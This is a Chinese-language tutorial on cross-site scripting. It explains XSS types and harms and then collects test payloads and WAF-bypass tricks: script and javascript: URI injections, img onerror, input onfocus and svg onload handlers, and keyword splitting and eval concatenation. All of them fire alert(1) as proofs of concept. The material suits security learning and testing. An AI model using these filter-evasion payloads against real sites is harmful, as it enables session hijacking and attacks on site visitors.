xss讲解
xss介绍
xss简介
1、XSS作为OWASP TOP 10之一。 2、XSS(跨站脚本攻击)主要基于javascript(js)来完成恶意的攻击行为。 3、XSS是一种经常出现在web应用中的计算机漏洞,也是web中最主流的攻击方式。 4、XSS是指恶意攻击者利用网站对用户提交的数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。 5、从而盗取用户资料、利用用户身份进行某种动作或者访问者进行病毒侵害的一种攻击方式。
xss原理
利用我们所知道的各种黑魔法,向web页面插入js代码,让js代码可以被浏览器执行,访问该页面的用户则被攻击。
xss危害
-
针对用户
1、窃取cookie劫持的会话
2、网络钓鱼
3、放马挖矿
4、广告刷流量
-
针对web服务
1、劫持后台
2、篡改页面
3、传播蠕虫病毒
4、内网扫描
xss类型
反射型:反射型也称为非持久型,这种类型的脚本是最常见的,也是使用最为广泛的一种,主要用于将恶意的脚本附加到URL地址的参数中。
存储型:攻击者将已经构造完成的恶意页面发送给用户,用户访问看似正常的页面后收到攻击,这类XSS通常无法直接在URL中看到恶意代码,具有较强的持久性和隐蔽性。
DOM型:DOM型XSS无需和后端交互,而是基于JavaScript上,JS解析URL中恶意参数导致执行JS代码。
xss攻击以及绕过姿势
一、基本测试流程
xss攻击依据一个原则:“见框就插”,多动手。
有src和href属性就用:javascript:alert(1)
这里分享几个经典测试payload:
1 "><script>alert(1)</script> 2 "><a href="javascript:alert(1) 3 "><a href="data:text/html;base64,这里跟着base64之后的js代码></a>
二、弹窗关键字检测绕过
基本WAF都针对常用的弹窗函数做了拦截,如alert()、prompt()、confirm(),另外还有代码执行函数eval(),想要绕过去也比较简单,我们以alert(‘xss’)为例,其实只需要分割alert和()即可,例如:
添加空格、TAB、回车、换行:alert%20(/xss/)、alert%0A(/xss/)、alert%0D(/xss/)、alert%09(/xss/)
添加多行注释:alert/*abcd*/(/xss/)
添加注释换行:alert//abcd%0A(/xss/)、confirm//abcd%0D(/xss/)
使用''代替():alert'xss'
使用括号分割:(alert)(/xss/)、((alert))(/xss/)
使用window和top:
1 <img src=x onerror="window['al'+'ert'](0)"> 2 <img src=x onerror="window.alert(0)"> 3 <img src=x onerror="top['al'+'ert'](0)"> 4 <img src=x onerror="top.alert(0)">
另外还可以通过以下方式绕过WAF:
1 <input onfocus=_=alert,_(123)> 2 <input onfocus=_=alert,xx=1,_(123)> 3 <input onfocus=_=alert;_(123)> 4 <input onfocus=_=alert;xx=1;_(123)> 5 <input onfocus=_=window['alert'],_(123)> 6 <input onfocus=_=window.alert,_(123)>
另外还可以通过异常处理:
1 <svg onload="window.onerror=eval;throw'=alert\x281\x29';">
eval(string)参数为字符串,可以拼接关键字绕过检测:
<svg onload=eval('ale'+'rt(1)')>
另外跳转中也可以使用关键字拼接:
1 <svg onload=location='javas'+'cript:ale'+'rt(1)'> 2 <svg onload=window.location='javas'+'cript:ale'+'rt(1)'> 3 <svg onload=location.href='javas'+'cript:ale'+'rt(1)'> 4 <svg onload=window.open('javas'+'cript:ale'+'rt(1)')> 5 <svg onload=location='javas'.concat('cript:ale'+'rt(1)')>
三、编码绕过
1、html实体编码
2、URL编码
3、Unicode编码
4、Base64编码